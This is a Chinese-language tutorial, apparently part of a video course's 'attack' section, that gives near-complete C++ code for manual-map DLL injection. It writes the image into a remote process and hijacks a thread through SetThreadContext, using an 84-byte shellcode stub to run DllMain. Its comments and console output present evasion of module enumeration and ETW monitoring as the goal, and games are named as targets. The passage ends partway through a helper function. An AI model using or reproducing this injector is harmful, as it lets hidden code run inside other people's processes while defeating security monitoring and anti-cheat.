不创建线程如何执行代码?线程劫持触发DllMain的完整实现


阅读时间: 8-10 分钟
前置知识: 理解内存映射文件检测原理、C/C++基础、Windows API基础
学习目标: 掌握PE文件结构解析,实现修复导入表丶重定位表


配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1qK6QBrEqH/

承接上节

回顾:手工映射分为三期讲解:

  • 上篇:PE结构基础 + 内存镜像构建 ✅
  • 中篇:基址重定位 + 导入表修复 ✅
  • 下篇(本期):远程写入 + 线程劫持触发DllMain

前两节课,我们在本地完成了内存镜像的准备工作:

  • ✅ 读取PE文件并验证签名
  • ✅ 构建内存镜像(文件布局 → 内存布局)
  • ✅ 处理基址重定位
  • ✅ 修复导入地址表(IAT)

现在的问题:内存镜像准备好了,但还在我们自己的进程里,需要写入目标进程并触发 DllMain

DLL的初始化代码(如申请资源、创建线程、Hook函数)都在 DllMain 中。不调用它,DLL就是死的。


如何触发 DllMain

回顾之前讲过的执行方式

在之前的课程中,我们学过几种让目标进程执行代码的方法:

方式

课程

原理

CreateRemoteThread

基础注入

创建新线程执行代码

APC 注入

04-攻击篇

将代码加入 APC 队列,等待线程进入 Alertable 状态时执行

线程劫持

02-攻击篇

修改现有线程的 RIP,让它执行我们的代码

本节课我们选择线程劫持.


核心原理

线程劫持回顾

注意:线程劫持的原理我们在 02-攻击篇-绕过线程起始地址检测 中已经详细讲过。没看过的同学建议先去看那节课。

简单回顾:通过 SuspendThreadGetThreadContextSetThreadContextResumeThread 修改线程的 RIP 寄存器,让线程执行我们的代码。

本节的重点是:如何设计一个 stub,让它调用 DllMain 后能安全返回原来的执行位置。

Shellcode stub 设计

stub是一小段机器码,功能是:

  1. 保存当前寄存器状态
  2. 准备DllMain参数
  3. 调用DllMain
  4. 恢复寄存器状态
  5. 跳回原来的RIP

x64调用约定

参数顺序

寄存器

DllMain参数

第1个参数

RCX

hModule(DLL基址)

第2个参数

RDX

dwReason(DLL_PROCESS_ATTACH=1)

第3个参数

R8

lpReserved(NULL)

完整stub(84字节)

BYTE stubTemplate[] = {
    // ========== 保存易失寄存器 ==========
    0x48, 0x83, 0xEC, 0x28,                    // sub rsp, 0x28 (分配栈空间+对齐)
    0x48, 0x89, 0x44, 0x24, 0x18,              // mov [rsp+18h], rax
    0x48, 0x89, 0x4C, 0x24, 0x10,              // mov [rsp+10h], rcx
    0x48, 0x89, 0x54, 0x24, 0x08,              // mov [rsp+08h], rdx

    // ========== 准备DllMain参数 ==========
    // 从参数结构体读取3个参数
    0x49, 0xB9,                                // mov r9, <pRemoteParams>
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // [+21] 参数结构体地址

    0x49, 0x8B, 0x09,                          // mov rcx, [r9]      ← hModule
    0x49, 0x8B, 0x51, 0x08,                    // mov rdx, [r9+8]    ← dwReason
    0x4D, 0x8B, 0x41, 0x10,                    // mov r8,  [r9+16]   ← lpReserved

    // ========== 调用DllMain ==========
    0x48, 0xB8,                                // mov rax, <DllMain>
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // [+42] DllMain地址

    0xFF, 0xD0,                                // call rax

    // ========== 恢复易失寄存器 ==========
    0x48, 0x8B, 0x54, 0x24, 0x08,              // mov rdx, [rsp+08h]
    0x48, 0x8B, 0x4C, 0x24, 0x10,              // mov rcx, [rsp+10h]
    0x48, 0x8B, 0x44, 0x24, 0x18,              // mov rax, [rsp+18h]
    0x48, 0x83, 0xC4, 0x28,                    // add rsp, 0x28

    // ========== 跳回原RIP ==========
    0x49, 0xBB,                                // mov r11, <originalRIP>
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // [+73] 原始RIP

    0x41, 0xFF, 0xE3                           // jmp r11
};

stub中需要填充的3个地址

偏移

内容

说明

+21

pRemoteParams

参数结构体在目标进程的地址

+42

pRemoteEntryPoint

DllMain在目标进程的地址

+73

originalRIP

原始线程RIP,执行完跳回

DllMainParams结构体

/**
 * @brief DllMain参数结构体
 * @details 这个结构体会被写入目标进程,stub通过它传递参数
 */
struct DllMainParams
{
    LPVOID hModule;      // DLL基址(第1个参数)
    DWORD  dwReason;     // 调用原因(第2个参数)
    LPVOID lpReserved;   // 保留参数(第3个参数)
};

动手实现

手工映射注入共 12 步,下面是 InjectDllWithManualMapping 函数的完整实现。前 7 步在上两节课已讲过原理,这里直接看代码。

第1步:打开目标进程

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess)
{
    return FALSE;
}

第2步:读取PE文件

DWORD fileSize = 0;
LPVOID pFileImage = ReadPEFile(dllPath, &fileSize);
if (!pFileImage)
{
    CloseHandle(hProcess);
    return FALSE;
}
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileImage + pDosHeader->e_lfanew);

第3步:检查体系结构

BOOL isWow64 = FALSE;
IsWow64Process(hProcess, &isWow64);
if ((pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 && isWow64) ||
    (pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 && !isWow64))
{
    // DLL体系结构与目标进程不匹配
    VirtualFree(pFileImage, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

第4步:构建内存镜像

DWORD imageSize = 0;
LPVOID pMemoryImage = BuildMemoryImage(pFileImage, &imageSize);
if (!pMemoryImage)
{
    VirtualFree(pFileImage, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

第5步:分配远程内存

LPVOID pRemoteImage = VirtualAllocEx(hProcess, NULL, imageSize,
                                      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteImage)
{
    VirtualFree(pMemoryImage, 0, MEM_RELEASE);
    VirtualFree(pFileImage, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

第6步:修复导入表

if (!FixImportTable(pMemoryImage, pRemoteImage, dwProcessId))
{
    VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
    VirtualFree(pMemoryImage, 0, MEM_RELEASE);
    VirtualFree(pFileImage, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

第7步:处理重定位

if (!ProcessRelocation(pMemoryImage, pRemoteImage))
{
    VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
    VirtualFree(pMemoryImage, 0, MEM_RELEASE);
    VirtualFree(pFileImage, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

第8步:写入内存镜像

if (!WriteProcessMemory(hProcess, pRemoteImage, pMemoryImage, imageSize, NULL))
{
    VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
    VirtualFree(pMemoryImage, 0, MEM_RELEASE);
    VirtualFree(pFileImage, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return FALSE;
}

第9步:设置节区保护(可选)

SetSectionProtections(hProcess, pRemoteImage, pMemoryImage);

这一步不是必需的,因为第5步已经用了 PAGE_EXECUTE_READWRITE。但设置正确的节区保护可以提高隐蔽性。

第10步:准备stub

// 获取DLL入口点
pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
DWORD entryPointRVA = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
LPVOID pRemoteEntryPoint = (BYTE*)pRemoteImage + entryPointRVA;

// 分配stub内存
LPVOID pRemoteStub = VirtualAllocEx(hProcess, NULL, sizeof(stubTemplate),
                                     MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

第11步:劫持线程执行

// 准备DllMain参数
DllMainParams params;
params.hModule = pRemoteImage;
params.dwReason = DLL_PROCESS_ATTACH;
params.lpReserved = NULL;

LPVOID pRemoteParams = VirtualAllocEx(hProcess, NULL, sizeof(DllMainParams),
                                       MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteParams, &params, sizeof(DllMainParams), NULL);

// 枚举并劫持线程
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);

if (Thread32First(hSnapshot, &te32))
{
    do
    {
        if (te32.th32OwnerProcessID == dwProcessId)
        {
            HANDLE hThread = OpenThread(
                THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
                FALSE, te32.th32ThreadID);
            if (hThread)
            {
                SuspendThread(hThread);
                CONTEXT ctx = {};
                ctx.ContextFlags = CONTEXT_FULL;
                GetThreadContext(hThread, &ctx);

                // 保存原始RIP,填充stub
                ULONGLONG originalRIP = ctx.Rip;
                BYTE stub[sizeof(stubTemplate)];
                memcpy(stub, stubTemplate, sizeof(stubTemplate));
                *(ULONGLONG*)(stub + 21) = (ULONGLONG)pRemoteParams;
                *(ULONGLONG*)(stub + 42) = (ULONGLONG)pRemoteEntryPoint;
                *(ULONGLONG*)(stub + 73) = originalRIP;

                // 写入stub,修改RIP,恢复线程
                WriteProcessMemory(hProcess, pRemoteStub, stub, sizeof(stub), NULL);
                ctx.Rip = (ULONGLONG)pRemoteStub;
                SetThreadContext(hThread, &ctx);
                ResumeThread(hThread);

                CloseHandle(hThread);
                break;  // 只劫持一个线程
            }
        }
    } while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);

第12步:完成注入

VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;

完整代码

#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <iostream>
#include <vector>

/**
 * @file 09-攻击篇-手工映射注入.cpp
 * @brief 手工映射注入 - 完全绕过LoadLibrary和PEB注册
 * @author Mengxin
 * @date 2025-01-24
 *
 * @details
 * 核心思路:
 * 1. 手工解析PE文件(磁盘布局 → 内存布局转换)
 * 2. 构建本地内存镜像(按SizeOfImage分配,处理RVA转换)
 * 3. 修复导入表(IAT),手工查找并填充依赖函数地址
 * 4. 处理基址重定位,修正代码中的绝对地址引用
 * 5. 一次性写入完整内存镜像到目标进程
 * 6. 使用Shellcode stub调用DLL入口点(DllMain)
 *
 * 绕过原理:
 * - 不调用LoadLibrary → 不触发模块加载事件,ETW监控失效
 * - 不注册到PEB模块链表 → EnumProcessModules无法枚举
 * - 完全手工控制加载过程 → 实现最大隐蔽性
 *
 * 【关键技术点】本代码正确实现了:
 * 1. RVA → 文件偏移转换(解决VirtualAddress ≠ PointerToRawData问题)
 * 2. 本地内存镜像构建(SizeOfImage大小,避免缓冲区越界)
 * 3. 远程地址解析(ASLR环境下的IAT修复)
 * 4. Shellcode stub参数传递(x64调用约定)
 * 5. 节区保护设置(.text=RX, .data=RW)
 *
 * 局限性:
 * - 不支持TLS回调(可扩展)
 * - 不支持延迟加载导入(可扩展)
 * - 依赖系统DLL基址相同(教学简化,生产环境需远程查找)
 *
 * 【教学说明】这是本系列课程技术难度最高的攻击技术(★★★★★)
 * 完整实现了PE加载器的核心功能,学习前建议先掌握PE格式基础
 *
 * 仅供防御性安全研究与教学使用,严禁用于恶意目的
 */

// ========== 数据结构定义 ==========

/**
 * @brief DllMain参数结构体(用于stub传参)
 * @details 这个结构体会被写入目标进程,stub通过它传递DllMain的3个参数
 */
struct DllMainParams
{
    LPVOID hModule;      // DLL基址
    DWORD dwReason;      // 调用原因(DLL_PROCESS_ATTACH等)
    LPVOID lpReserved;   // 保留参数(通常为NULL)
};

// ========== 辅助函数声明 ==========

LPVOID ReadPEFile(const char* filePath, DWORD* pFileSize);
LPVOID BuildMemoryImage(LPVOID pFileBase, DWORD* pImageSize);
HMODULE GetRemoteModuleHandle(DWORD dwProcessId, const char* moduleName);
BOOL FixImportTable(LPVOID pMemoryImage, LPVOID pRemoteBase, DWORD dwProcessId);
BOOL ProcessRelocation(LPVOID pMemoryImage, LPVOID pRemoteBase);
BOOL SetSectionProtections(HANDLE hProcess, LPVOID pRemoteBase, LPVOID pMemoryImage);

// ========== 核心注入函数 ==========

/**
 * @brief 手工映射注入DLL到目标进程
 * @param dwProcessId 目标进程ID
 * @param dllPath DLL文件完整路径
 * @return 成功返回TRUE,失败返回FALSE
 * @details 完整实现PE手工加载的12个核心步骤,使用提前返回和按需声明提升可读性
 */
BOOL InjectDllWithManualMapping(DWORD dwProcessId, const char* dllPath)
{
    std::cout << "\n=== 开始手工映射注入(完整版) ===\n\n";

    // 第一步:打开目标进程
    std::cout << "[1/12] 打开目标进程...\n";
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hProcess)
    {
        std::cout << "  失败:无法打开进程,错误码: " << GetLastError() << "\n";
        return FALSE;
    }
    std::cout << "  成功:进程句柄 = 0x" << std::hex << hProcess << "\n\n";

    // 第二步:读取PE文件(磁盘布局)
    std::cout << "[2/12] 读取PE文件(磁盘布局)...\n";
    DWORD fileSize = 0;
    LPVOID pFileImage = ReadPEFile(dllPath, &fileSize);
    if (!pFileImage)
    {
        std::cout << "  失败:无法读取PE文件\n";
        CloseHandle(hProcess);
        return FALSE;
    }
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileImage + pDosHeader->e_lfanew);
    std::cout << "  成功:文件大小 = " << std::dec << fileSize << " 字节\n";
    std::cout << "  镜像大小 = " << std::dec << pNtHeaders->OptionalHeader.SizeOfImage << " 字节\n";
    std::cout << "  节区数量 = " << std::dec << pNtHeaders->FileHeader.NumberOfSections << "\n\n";

    // 第三步:检查体系结构匹配
    std::cout << "[3/12] 检查体系结构匹配...\n";
    BOOL isWow64 = FALSE;
    IsWow64Process(hProcess, &isWow64);
    if ((pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 && isWow64) ||
        (pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 && !isWow64))
    {
        std::cout << "  失败:DLL体系结构与目标进程不匹配\n";
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "  成功:体系结构匹配\n\n";

    // 第四步:构建本地内存镜像
    std::cout << "[4/12] 构建本地内存镜像(文件布局 → 内存布局)...\n";
    DWORD imageSize = 0;
    LPVOID pMemoryImage = BuildMemoryImage(pFileImage, &imageSize);
    if (!pMemoryImage)
    {
        std::cout << "  失败:无法构建内存镜像\n";
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "  成功:内存镜像大小 = " << std::dec << imageSize << " 字节\n\n";

    // 第五步:在目标进程分配内存
    std::cout << "[5/12] 在目标进程分配内存...\n";
    LPVOID pRemoteImage = VirtualAllocEx(
        hProcess,
        NULL,
        imageSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!pRemoteImage)
    {
        std::cout << "  失败:无法分配内存,错误码: " << GetLastError() << "\n";
        VirtualFree(pMemoryImage, 0, MEM_RELEASE);
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "  成功:远程基址 = 0x" << std::hex << pRemoteImage << "\n\n";

    // 第六步:修复导入表(IAT)
    std::cout << "[6/12] 修复导入表(IAT)...\n";
    if (!FixImportTable(pMemoryImage, pRemoteImage, dwProcessId))
    {
        std::cout << "  失败:导入表修复失败\n";
        VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
        VirtualFree(pMemoryImage, 0, MEM_RELEASE);
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "  成功:导入表已修复\n\n";

    // 第七步:处理基址重定位
    std::cout << "[7/12] 处理基址重定位...\n";
    if (!ProcessRelocation(pMemoryImage, pRemoteImage))
    {
        std::cout << "  失败:重定位处理失败\n";
        VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
        VirtualFree(pMemoryImage, 0, MEM_RELEASE);
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "  成功:重定位已处理\n\n";

    // 第八步:一次性写入完整内存镜像
    std::cout << "[8/12] 写入完整内存镜像到目标进程...\n";
    if (!WriteProcessMemory(hProcess, pRemoteImage, pMemoryImage, imageSize, NULL))
    {
        std::cout << "  失败:无法写入内存镜像,错误码: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
        VirtualFree(pMemoryImage, 0, MEM_RELEASE);
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "  成功:已写入 " << std::dec << imageSize << " 字节\n\n";

    // 第九步:设置节区保护
    std::cout << "[9/12] 设置节区保护(.text=RX, .data=RW)...\n";
    if (!SetSectionProtections(hProcess, pRemoteImage, pMemoryImage))
    {
        std::cout << "  警告:节区保护设置失败(继续执行)\n\n";
    }
    else
    {
        std::cout << "  成功:节区保护已设置\n\n";
    }

    // 第十步:获取DLL入口点并准备stub模板
    std::cout << "[10/12] 准备DllMain调用stub...\n";
    pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
    DWORD entryPointRVA = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    LPVOID pRemoteEntryPoint = (BYTE*)pRemoteImage + entryPointRVA;

    // Shellcode模板(84字节): 调用DllMain并跳回原RIP
    BYTE stubTemplate[] = {
        // 保存易失寄存器
        0x48, 0x83, 0xEC, 0x28,                                      // sub  rsp, 0x28
        0x48, 0x89, 0x44, 0x24, 0x18,                                // mov  [rsp+18h], rax
        0x48, 0x89, 0x4C, 0x24, 0x10,                                // mov  [rsp+10h], rcx
        0x48, 0x89, 0x54, 0x24, 0x08,                                // mov  [rsp+08h], rdx

        // 准备DllMain参数(x64调用约定: RCX, RDX, R8)
        0x49, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov  r9, <pRemoteParams>
        0x49, 0x8B, 0x09,                                            // mov  rcx, [r9]
        0x49, 0x8B, 0x51, 0x08,                                      // mov  rdx, [r9+8]
        0x4D, 0x8B, 0x41, 0x10,                                      // mov  r8,  [r9+16]

        // 调用DllMain
        0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov  rax, <DllMain>
        0xFF, 0xD0,                                                  // call rax

        // 恢复易失寄存器
        0x48, 0x8B, 0x54, 0x24, 0x08,                                // mov  rdx, [rsp+08h]
        0x48, 0x8B, 0x4C, 0x24, 0x10,                                // mov  rcx, [rsp+10h]
        0x48, 0x8B, 0x44, 0x24, 0x18,                                // mov  rax, [rsp+18h]
        0x48, 0x83, 0xC4, 0x28,                                      // add  rsp, 0x28

        // 跳回原RIP
        0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov  r11, <originalRIP>
        0x41, 0xFF, 0xE3                                             // jmp  r11
    };
    LPVOID pRemoteStub = VirtualAllocEx(hProcess, NULL, sizeof(stubTemplate), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteStub)
    {
        std::cout << "  失败:无法分配stub内存,错误码: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
        VirtualFree(pMemoryImage, 0, MEM_RELEASE);
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "  成功:stub地址 = 0x" << std::hex << pRemoteStub << "\n\n";

    // 第十一步:准备DllMain参数并劫持线程执行
    std::cout << "[11/12] 劫持线程执行DllMain...\n";
    DllMainParams params;
    params.hModule = pRemoteImage;
    params.dwReason = DLL_PROCESS_ATTACH;
    params.lpReserved = NULL;
    LPVOID pRemoteParams = VirtualAllocEx(hProcess, NULL, sizeof(DllMainParams), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemoteParams || !WriteProcessMemory(hProcess, pRemoteParams, ¶ms, sizeof(DllMainParams), NULL))
    {
        std::cout << "  失败:无法准备参数,错误码: " << GetLastError() << "\n";
        if (pRemoteParams)
        {
            VirtualFreeEx(hProcess, pRemoteParams, 0, MEM_RELEASE);
        }
        VirtualFreeEx(hProcess, pRemoteStub, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
        VirtualFree(pMemoryImage, 0, MEM_RELEASE);
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        std::cout << "  失败:无法创建线程快照\n";
        VirtualFreeEx(hProcess, pRemoteParams, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteStub, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
        VirtualFree(pMemoryImage, 0, MEM_RELEASE);
        VirtualFree(pFileImage, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);
    int hijackCount = 0;
    if (Thread32First(hSnapshot, &te32))
    {
        do
        {
            if (te32.th32OwnerProcessID == dwProcessId)
            {
                HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
                if (hThread)
                {
                    if (SuspendThread(hThread) == (DWORD)-1)
                    {
                        std::cout << "  暂停线程 " << te32.th32ThreadID << " 失败\n";
                        CloseHandle(hThread);
                        continue;
                    }
                    CONTEXT ctx = {};
                    ctx.ContextFlags = CONTEXT_FULL;
                    if (!GetThreadContext(hThread, &ctx))
                    {
                        std::cout << "  获取线程 " << te32.th32ThreadID << " 上下文失败\n";
                        ResumeThread(hThread);
                        CloseHandle(hThread);
                        continue;
                    }
                    ULONGLONG originalRIP = ctx.Rip;
                    BYTE stub[sizeof(stubTemplate)];
                    memcpy(stub, stubTemplate, sizeof(stubTemplate));
                    *(ULONGLONG*)(stub + 21) = (ULONGLONG)pRemoteParams;
                    *(ULONGLONG*)(stub + 42) = (ULONGLONG)pRemoteEntryPoint;
                    *(ULONGLONG*)(stub + 73) = originalRIP;
                    if (!WriteProcessMemory(hProcess, pRemoteStub, stub, sizeof(stub), NULL))
                    {
                        std::cout << "  写入stub失败\n";
                        ResumeThread(hThread);
                        CloseHandle(hThread);
                        continue;
                    }
                    ctx.Rip = (ULONGLONG)pRemoteStub;
                    if (!SetThreadContext(hThread, &ctx))
                    {
                        std::cout << "  设置线程 " << te32.th32ThreadID << " 上下文失败\n";
                        ResumeThread(hThread);
                        CloseHandle(hThread);
                        continue;
                    }
                    if (ResumeThread(hThread) == (DWORD)-1)
                    {
                        std::cout << "  恢复线程 " << te32.th32ThreadID << " 失败\n";
                        CloseHandle(hThread);
                        continue;
                    }
                    std::cout << "  成功劫持线程 " << std::dec << te32.th32ThreadID << "\n";
                    CloseHandle(hThread);
                    hijackCount = 1;
                    break;
                }
            }
        } while (Thread32Next(hSnapshot, &te32));
    }
    CloseHandle(hSnapshot);
    if (hijackCount > 0)
    {
        std::cout << "  成功:线程已劫持并开始执行\n\n";
    }
    else
    {
        std::cout << "  警告:未找到可用线程\n\n";
    }

    // 第十二步:完成注入
    std::cout << "[12/12] 注入完成\n";
    VirtualFree(pMemoryImage, 0, MEM_RELEASE);
    VirtualFree(pFileImage, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    std::cout << "\n=== 手工映射注入成功 ===\n";
    std::cout << "DLL已手工加载到目标进程,完全绕过LoadLibrary\n";
    std::cout << "不会出现在EnumProcessModules的枚举结果中\n";
    std::cout << "不会触发ETW的模块加载事件\n\n";
    std::cout << "【技术特点】\n";
    std::cout << "- 执行方式:线程劫持(SetThreadContext)\n";
    std::cout << "- 优势:立即执行,无需等待Alertable状态\n";
    std::cout << "- 适用场景:游戏等死循环进程\n";
    std::cout << "- 隐蔽性:完全手工PE加载,不留模块痕迹\n\n";
    return TRUE;
}

// ========== 辅助函数实现 ==========

/**
 * @brief 读取PE文件到内存并验证签名
 * @param filePath PE文件完整路径
 * @param pFileSize 返回文件大小
 * @return 成功返回文件缓冲区,失败返回NULL
 * @details 读取原始PE文件(磁盘布局),验证DOS和NT签名
 */
LPVOID ReadPEFile(const char* filePath, DWORD* pFileSize)
{
    // 打开文件
    HANDLE hFile = CreateFileA(filePath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL );
    if (hFile == INVALID_HANDLE_VALUE)
    {
        std::cout << "  失败:无法打开文件,错误码: " << GetLastError() << "\n";
        return NULL;
    }

    // 获取文件大小
    DWORD fileSize = GetFileSize(hFile, NULL);
    if (fileSize == INVALID_FILE_SIZE || fileSize < sizeof(IMAGE_DOS_HEADER))
    {
        std::cout << "  失败:文件大小无效\n";
        CloseHandle(hFile);
        return NULL;
    }

    // 分配内存缓冲区
    LPVOID pFileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pFileBuffer)
    {
        std::cout << "  失败:无法分配本地内存\n";
        CloseHandle(hFile);
        return NULL;
    }

    // 读取文件内容
    DWORD bytesRead = 0;
    if (!ReadFile(hFile, pFileBuffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize)
    {
        std::cout << "  失败:无法读取文件内容\n";
        VirtualFree(pFileBuffer, 0, MEM_RELEASE);
        CloseHandle(hFile);
        return NULL;
    }
    CloseHandle(hFile);

    // 验证DOS签名
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        std::cout << "  失败:无效的DOS签名(应为'MZ')\n";
        VirtualFree(pFileBuffer, 0, MEM_RELEASE);
        return NULL;
    }

    // 检查PE头偏移
    if (pDosHeader->e_lfanew > fileSize - sizeof(IMAGE_NT_HEADERS))
    {
        std::cout << "  失败:无效的PE头偏移\n";
        VirtualFree(pFileBuffer, 0, MEM_RELEASE);
        return NULL;
    }

    // 验证NT签名
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileBuffer + pDosHeader->e_lfanew);
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
    {
        std::cout << "  失败:无效的NT签名(应为'PE')\n";
        VirtualFree(pFileBuffer, 0, MEM_RELEASE);
        return NULL;
    }

    // 返回结果
    if (pFileSize)
    {
        *pFileSize = fileSize;
    }
    return pFileBuffer;
}



/**
 * @brief 构建PE的内存镜像(文件布局 → 内存布局)
 *
 * 【为什么需要这一步】
 * PE文件在磁盘上是紧凑排列(节省空间),在内存中需要按VirtualAddress对齐。
 *
 * 【类比】
 * - 磁盘文件 = 压缩包(紧凑,但不能直接用)
 * - 内存镜像 = 解压后的文件夹(占空间,但可以执行)
 *
 * 【操作步骤】
 * 1. 分配SizeOfImage大小内存(不是文件大小!)
 * 2. 复制PE头(包含DOS头+NT头+节表)
 * 3. 复制每个节到VirtualAddress位置(使用 min(SizeOfRawData, VirtualSize))
 * 4. .bss节用0填充(VirtualSize > SizeOfRawData的部分)
 *
 * 【重要】复制大小计算:
 * - 错误做法: if (SizeOfRawData <= VirtualSize) → 会导致.text等节完全不复制
 * - 正确做法: copySize = min(SizeOfRawData, VirtualSize)
 * - 原因: 文件对齐(0x200)和内存对齐(0x1000)不同
 *   例如: .text节 VirtualSize=0x1CC2, SizeOfRawData=0x1E00
 *         如果用 <= 判断会跳过,导致代码段全是0!
 *
 * 【内存布局示意】
 * ┌─────────────┐  ← pMemoryImage (基址0x0)
 * │ PE头        │  拷贝SizeOfHeaders字节
 * ├─────────────┤  ← +VirtualAddress[0] (例如0x1000)
 * │ .text节     │  拷贝SizeOfRawData字节
 * ├─────────────┤  ← +VirtualAddress[1] (例如0x3000)
 * │ .data节     │  拷贝SizeOfRawData字节
 * ├─────────────┤
 * │ .bss节      │  用0填充VirtualSize字节(未初始化数据)
 * └─────────────┘  ← +SizeOfImage
 *
 * @param pFileBase PE文件数据(磁盘布局)
 * @param pImageSize 返回镜像大小
 * @return 内存镜像指针,失败返回NULL
 */
LPVOID BuildMemoryImage(LPVOID pFileBase, DWORD* pImageSize)
{
    // 获取PE头信息
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBase;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileBase + pDosHeader->e_lfanew);

    // 分配SizeOfImage大小的内存(不是文件大小!)
    // SizeOfImage是PE在内存中展开后的总大小
    DWORD imageSize = pNtHeaders->OptionalHeader.SizeOfImage;
    LPVOID pMemoryImage = VirtualAlloc(NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pMemoryImage)
    {
        return NULL;
    }

    // 先清零整个镜像(处理.bss等未初始化区域)
    memset(pMemoryImage, 0, imageSize);

    // 复制PE头(DOS头+NT头+节表)
